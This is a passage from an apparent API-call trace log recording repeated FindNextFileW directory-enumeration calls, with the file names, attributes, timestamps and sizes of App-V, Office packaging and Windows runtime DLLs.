ftLastAccessTime.dwLowDateTime=0xfa937f07, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae22cc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0172.749] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf035e09d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf035e09d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0172.749] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="AP6221~1.DLL")) returned 1 [0172.750] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a6407d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0172.750] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1814809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0172.750] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdee689, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdee689, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdee689, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0172.750] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37acc11, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37acc11, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37acc11, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0172.750] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x44a38de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x44a38de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0172.750] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42d8c51, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0172.751] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0172.751] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7667bd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7667bd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0172.751] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf483611a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf483611a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0172.751] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0172.751] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x72c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0172.751] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6971e7c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6971e7c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6971e7c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0172.752] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18d43c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18d43c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18d43c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0172.752] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0172.752] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d9e0b3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d9e0b3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d9e0b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0172.752] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ac3289, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ac3289, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0172.752] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0172.752] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf34d6ecb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf34d6ecb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf3b3f424, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0172.753] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68b32cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68b32cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68b32cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0172.753] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42b29f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVFileSystemMetadata.dll", cAlternateFileName="APPVFI~1.DLL")) returned 1 [0172.753] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45d3b76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf5ed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVManifest.dll", cAlternateFileName="APPVMA~1.DLL")) returned 1 [0172.753] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bf6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVOpcServices.dll", cAlternateFileName="APPVOP~1.DLL")) returned 1 [0172.753] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf466c4e5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf466c4e5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4692737, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVOpcServices.dll.manifest", cAlternateFileName="APPVOP~1.MAN")) returned 1 [0172.753] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f4ff2d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f4ff2d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11541b08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVPackaging.dll", cAlternateFileName="APPVPA~1.DLL")) returned 1 [0172.754] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVPackaging.dll.manifest", cAlternateFileName="APPVPA~1.MAN")) returned 1 [0172.754] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x48a9e4d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x48a9e4d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x48cfa7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f8d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVStreamMap.dll", cAlternateFileName="APPVST~1.DLL")) returned 1 [0172.754] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114f5747, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommonSequencingProperties.xml", cAlternateFileName="COMMON~1.XML")) returned 1 [0172.754] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffdb5707, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffdb5707, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffdb5707, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3b740, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0172.754] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa68949f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa68949f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa6d5947, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb260, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flattener.exe", cAlternateFileName="FLATTE~1.EXE")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5ca8ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5ca8ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa68949f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flattener.exe.config", cAlternateFileName="FLATTE~1.CON")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x178d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AppV.Eventing.dll", cAlternateFileName="MI9EC4~1.DLL")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa6d5947, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa6d5947, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa82ce6a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AppV.Modernizer.Common.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x58cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AppV.Modernizer.CSharp.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9862502, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9862502, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9888767, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6924d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AppV.Modernizer.ManagedCpp.dll", cAlternateFileName="MI5FC8~1.DLL")) returned 1 [0172.755] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42b29f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Tools.BinaryStore.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0172.756] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Tools.Office.C2R.Common.dll", cAlternateFileName="MI509C~1.DLL")) returned 1 [0172.756] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf483611a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x206c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Tools.Office.C2R.Packager.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0172.756] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b5bbeb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f2b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0172.756] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2cf9c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b538, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0172.756] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec8b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0172.756] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e310c7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e310c7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e572fe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdbcc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0172.756] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, 